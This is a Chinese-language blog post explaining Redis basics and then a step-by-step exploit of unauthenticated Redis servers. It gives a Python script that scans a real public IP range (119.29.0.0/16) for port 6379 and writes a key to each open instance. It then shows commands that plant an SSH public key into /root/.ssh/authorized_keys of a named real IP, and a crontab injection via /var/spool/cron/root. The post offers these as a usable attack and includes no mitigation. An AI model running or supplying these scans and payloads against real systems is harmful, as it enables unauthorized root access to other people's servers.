美文网首页
Redis数据库漏洞

Redis数据库漏洞

作者: 语文小子 | 来源:发表于2017-05-20 11:02 被阅读0次

    1.什么是Redis

    Redis 是一个开源的使用ANSI C语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以 是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输 入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

    2.Redis客户端

    Redis默认安装好默认端口是6379
    Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改/etc/redis/redis.conf
    Redis默认情况下是无需任何账户密码进行连接的
    Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”
    Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis

    redis-cli 客户端命令

    -h  :指定要连接的主机IP或域名  
    -p :指定连接的端口  
    -a :指定密码  
    -r  :执行指定的命令  
    -n  :数据库名  
    -x :将最后一个参数输出为value  
    

    服务器操作命令

    info:获取redis以及服务器的基本信息
    config get dir :获取数据库备份文件的路径
    config set dir /root :设置redis的备份路径为/root,如果提示没权限说明你当前无权限设置该目录
    config set dbfilename test :设置数据库备份文件的名字
    config get dbfilename :获取数据库备份的名字
    save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb
    

    3.漏洞利用过程

    首先扫描出有漏洞的主机,运行一下脚本可以扫描网段内主机是否开启6379端口,开启的话再去验证是否有权限认证

    #!/usr/bin/python3
    # -*- coding: utf-8 -*-
    from socket import *
    import redis
    
    def portScanner(host,port):
        try:
            s = socket(AF_INET,SOCK_STREAM)
            s.connect((host,port))
            # print('[+]%s, %d open' % (host, port))
            s.close()
            return True
        except:
            # print('[-]%s, %d close' % (host, port))
            return False
    
    def ip2num(ip):
        ip=[int(x) for x in ip.split('.')]
        return ip[0] <<24 | ip[1]<<16 | ip[2]<<8 |ip[3]
    
    def num2ip(num):
        return '%s.%s.%s.%s' %( (num & 0xff000000) >>24,
                                (num & 0x00ff0000) >>16,
                                (num & 0x0000ff00) >>8,
                                num & 0x000000ff )
    def get_ip(ip):
        start,end = [ip2num(x) for x in ip.split('-') ]
        return [ num2ip(num) for num in range(start,end+1) if num & 0xff ]
    
    def main():
        setdefaulttimeout(1)
        iplist = get_ip('119.29.0.0-119.29.255.255')
        for i in iplist:
            if portScanner(i, 6379):
                try:
                    r = redis.Redis(host = i, port = 6379, db = 0)
                    r.set('redis-t', '0xff000000')
                    print r
                except:
                    print "NOAUTH Authentication required."
      
    
    if __name__ == '__main__':
        main()
    

    得到扫描后的主机信息后,即可直接登陆redis数据库

    redis-cli -h 119.29.9.133
    

    然后ssh-keygen –t rsa -f filename 生成公私钥
    将私钥放在~/.ssh下命名为id_rsa,将公钥设置为目标数据库的一个键

    (echo -e "\n\n"; cat filename.pub; echo -e "\n\n") > key.txt  
    这条命令的含义是将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
    
    cat key.txt | redis-cli -h 119.29.9.133 -x set crackit
    这条命令的意思是连接目标119.29.9.133的redis,通过-x参数将key.txt 设置为 key “crackit” 的value
    

    然后首先判断是否有/root/.ssh,如果有直接将dbfilename设为authorized_keys,然后将密钥存进去即可

    如果没有在判断服务器是否安装crontab,利用crontab来创建文件/root/.ssh

    echo -e "\n\n*/1 * * * * /bin/mkdir ~/.ssh \n\n"|redis-cli -h 127.0.0.1 -x set 2
    redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
    redis-cli -h 127.0.0.1 config set dbfilename root
    redis-cli -h 127.0.0.1 save
    

    如果这两步都失败就可以放弃了

    参考文章:http://blog.nsfocus.net/redis-unauthorized-ssh-free-password-vulnerabilities-fixes/

    相关文章

      网友评论

          本文标题:Redis数据库漏洞

          本文链接:https://www.haomeiwen.com/subject/hbauxxtx.html